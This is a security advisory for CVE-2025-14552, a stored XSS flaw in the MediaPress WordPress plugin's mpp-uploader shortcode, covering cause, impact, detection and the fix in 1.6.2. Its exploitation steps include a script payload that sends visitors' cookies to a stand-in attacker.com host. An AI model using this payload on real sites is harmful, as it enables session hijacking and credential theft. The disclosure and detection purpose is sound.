CVE-2025-14552: 
WordPress vulnerability analysis and mitigation

CVE-2025-14552 is a Stored Cross-Site Scripting (XSS) vulnerability in the MediaPress plugin for WordPress, affecting all versions up to and including 1.6.1. The flaw exists in the plugin's mpp-uploader shortcode due to insufficient input sanitization and output escaping on user-supplied attributes. It was disclosed on January 6, 2026, with Wordfence as the CNA. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a stored XSS variant. The vulnerable code resides in core/gallery/mpp-gallery-template-tags.php at line 665 of the 1.6.1 release, where user-supplied shortcode attributes are rendered without proper sanitization or escaping (Wordfence, WordPress Trac). Exploitation requires an authenticated session with at minimum contributor-level privileges, allowing the attacker to embed malicious JavaScript via the mpp-uploader shortcode in posts or pages. The injected script executes in the browser of any user who subsequently visits the affected page, with the scope marked as "Changed" indicating cross-context impact.

Successful exploitation allows authenticated contributors to persistently inject arbitrary JavaScript into WordPress pages, affecting all site visitors who load the compromised content. This can lead to session cookie theft, credential harvesting, redirection to malicious sites, or defacement of site content. While availability is not directly impacted, the confidentiality and integrity of user data and site content are at risk (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-14552. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum contributor-level authentication, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Gain contributor access: Obtain or register a WordPress account with at least contributor-level privileges on the target site running MediaPress ≤ 1.6.1.
2. Create or edit a post: Navigate to the WordPress post editor and insert the mpp-uploader shortcode with a malicious payload injected into one of its attributes, e.g., [mpp-uploader attribute="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
3. Publish the post: Submit or update the post so the malicious shortcode is stored in the WordPress database.
4. Trigger execution: When any site visitor (including administrators) loads the page containing the injected shortcode, the browser renders and executes the embedded JavaScript, enabling session hijacking, credential theft, or further malicious actions (Wordfence).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API from contributor-level accounts containing mpp-uploader shortcode with unusual attribute values including <script>, javascript:, or encoded equivalents.
• Database: WordPress wp_posts table entries containing [mpp-uploader shortcodes with embedded script tags or event handler attributes (e.g., onerror, onload).
• Network: Outbound requests from victim browsers to unexpected external domains shortly after loading pages containing the mpp-uploader shortcode, potentially carrying cookie or session data in query parameters.

Users should update the MediaPress plugin to version 1.6.2 or later, which addresses the insufficient sanitization and output escaping in the mpp-uploader shortcode (Wordfence). As an interim measure, site administrators can restrict contributor-level user permissions or disable the MediaPress plugin until the update is applied. Implementing a Web Application Firewall (WAF) with XSS filtering rules can provide additional protection against exploitation attempts.

Wordfence included CVE-2025-14552 in their weekly WordPress vulnerability report for January 5–11, 2026, highlighting it as part of routine plugin security disclosures (Wordfence Blog). No significant independent researcher commentary or broader media coverage has been identified for this vulnerability.